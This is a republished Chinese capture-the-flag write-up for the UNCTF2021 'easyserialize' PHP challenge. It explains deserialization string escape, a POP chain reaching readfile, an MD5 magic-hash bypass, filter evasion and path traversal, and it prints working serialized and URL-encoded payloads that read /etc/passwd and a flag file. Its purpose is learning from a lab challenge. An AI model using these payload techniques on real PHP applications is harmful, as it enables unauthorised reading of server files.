ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

UNCTF2021-easyserialize

2021-12-07 10:34:41  阅读:273  来源: 互联网

标签:easyserialize name safe me7eorite email public UNCTF2021 class




前言

算是第一次独立做出来的一道web题,想了我两天。。。

本题利用到的知识点:

1.PHP反序列化字符逃逸

UNCTF2020的一道easyunserialize,类似

2.目录穿越

UNCTF2020的一道easy_ssrf,类似

3.pop链

BUUCTF的ezpop,类似




一、源码



二、POP链构造



1.function.php

先看哪里可以利用到flag

可以看到me7eorite这个类里有readfile函数,可以用来读flag

但是有个问题,序列化的代码在index.php中被固定死了,只能按照它的格式来

$u = new UNCTF($pass,$email,$name);
$s = serialize($u);

我们这里就需要用到反序列化字符逃逸,正好他有个过滤我们可以用

继续看,我们从这里开始倒推:

class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
    {
        $this->safe = "/etc/passwd";
        $this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');           
    }
    public function __toString() //当类被当做字符串使用时,会被调用
    {
        $this->class->getShell();//class被定义为了UNCTF,所以这里需要改
        return '';
    }
    public function getShell(){
        readfile($this->safe);
    }
} 

那么哪里的代码可以做到把类当做字符串使用呢?(类似于echo)

class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
    {
        $this->pass  = $pass;
        $this->name = $name;//name必须得是me7eorite这个类,才会触发里面的_tostring,需要改
        $this->email = $email;
    }
    public function getShell(){
        echo 'flag{this_is_fake}';
    }
    public function __destruct()
    {
        echo $this->name . 'Welcome to UNCTF 2021!';//在这里!!
    }
} Welcome to UNCTF 2021!

 本地尝试构造一下:

<?php 
class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
    {
        $this->safe = "flag.php";
        $this->class='1';//new me7eorite();  我们要把class构造成这样,但是不能直接赋值,我也不知道为什么。。         
    }
   
}

class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
    {
        $this->pass  = $pass;
        $this->name = $name;
        $this->email = $email;
    }
   
} 
function filter($file){
    $filter_arr = array('flag','php','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$file);
} 
$a=new me7eorite();
$a->class=new me7eorite();//从这里可以修改为类
$c=new UNCTF('1','2',$a);//把name赋值为me7eorite这个类
$b=serialize($c);
echo $b."\n";	 

?> 

输出后是这样:

O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}

以上就是我们需要构造成的序列化字符串,也就是说,我们需要将name构造成这样

s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}

 为了不破坏前面的eamil属性的结构,我们要加上;

;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}

这串东西先留着,而name直接传入是不可能的,直接传入是这个样子:

O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:1:"2";s:4:"name";s:1:"3";
//可以看到name后面的 s:1:"3" ,是我们不需要的
//那么为了构造出我们需要的属性,我们需要的属性可以从name传入,然后通过email和filter函数配合,
//将";s:4:"name";s:1:"  这些当做email的值,从而能解析我们name中构造的属性
//";s:4:"name";s:1:"  一共18个字符,那么email传入6个php就好了
//但是,由于name中的参数也是有大小的,大概会有几百个字符,就变成了大概这样
//";s:4:"name";s:144:" 这里就变成了19个字符,然后就需要4个flag和1个php

然后这里就用到了反序列化字符逃逸,由于过滤是将字符变少,我们就要用到两个参数 ,本地构造试验一下:

$z='flagflagflagflagphp';
$x=';s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}';
echo urlencode($x)."\n";
$a=new UNCTF('1',$z,$x);
$b=serialize($a);
echo $b."\n";	
$d=filter($b);
echo $d;

构造出来,就完成了第一步:

//过滤前
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"flagflagflagflagphp";s:4:"name";s:145:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}";}
//过滤后
O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"";s:4:"name";s:145:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";s:1:"1";}}}";} 

2.index.php

我们需要进入filter函数,就要绕过md5弱比较判断,并且两个字符串还不能相等

s878926199a =》 0e545993274517709034328855841020
s155964671a =》 0e342768416822451524974117254469
s214587387a =》 0e848240448830537924465865611904

前面的就是我们传入的字符串,后面是md5值,在弱比较中,0e会被当做科学计数法

找到形似这样的就能绕过

然后是preg_replace过滤绕过,双写就行了,比如flflagag

这样要的参数就都得到了,最后将name参数url编码一下传入就行了


 

提示:将/etc/passwd 改为flag的时候,由于过滤,所以我们要把序列化的参数大小改为过滤后的大小

 3.目录穿越

当我兴高采烈输入flag.php的时候,怎么都打不开,fl1g.php也不行,说明当前目录就没有flag

最后想到了目录穿越,readfile和file_get_contents一样,是可以读url的

当我们输入错误的协议名时,比如qwe:// ,就会把它当做盘符,进而造成目录穿越

构造name,并url编码:

O:5:"UNCTF":3:{s:4:"pass";s:1:"1";s:5:"email";s:19:"flagflagflagflagphp";s:4:"name";s:187:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:28:"qwe://../../../../../../flflagag";s:5:"class";O:9:"me7eorite":2:{s:4:"safe";s:28:"qwe://../../../../../../flflagag";s:5:"class";s:1:"1";}}}";}
%3Bs%3A4%3A%22name%22%3BO%3A9%3A%22me7eorite%22%3A2%3A%7Bs%3A4%3A%22safe%22%3Bs%3A28%3A%22qwe%3A%2F%2F..%2F..%2F..%2F..%2F..%2F..%2Fflflagag%22%3Bs%3A5%3A%22class%22%3BO%3A9%3A%22me7eorite%22%3A2%3A%7Bs%3A4%3A%22safe%22%3Bs%3A28%3A%22qwe%3A%2F%2F..%2F..%2F..%2F..%2F..%2F..%2Fflflagag%22%3Bs%3A5%3A%22class%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D

就得到了flag



总结

初学web两个月,这也是自己独立做出来的第一道题目,特意总结记录一下

欢迎大佬们的批评指点qwq

标签:easyserialize,name,safe,me7eorite,email,public,UNCTF2021,class
来源: https://blog.csdn.net/m0_61666690/article/details/121733537

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有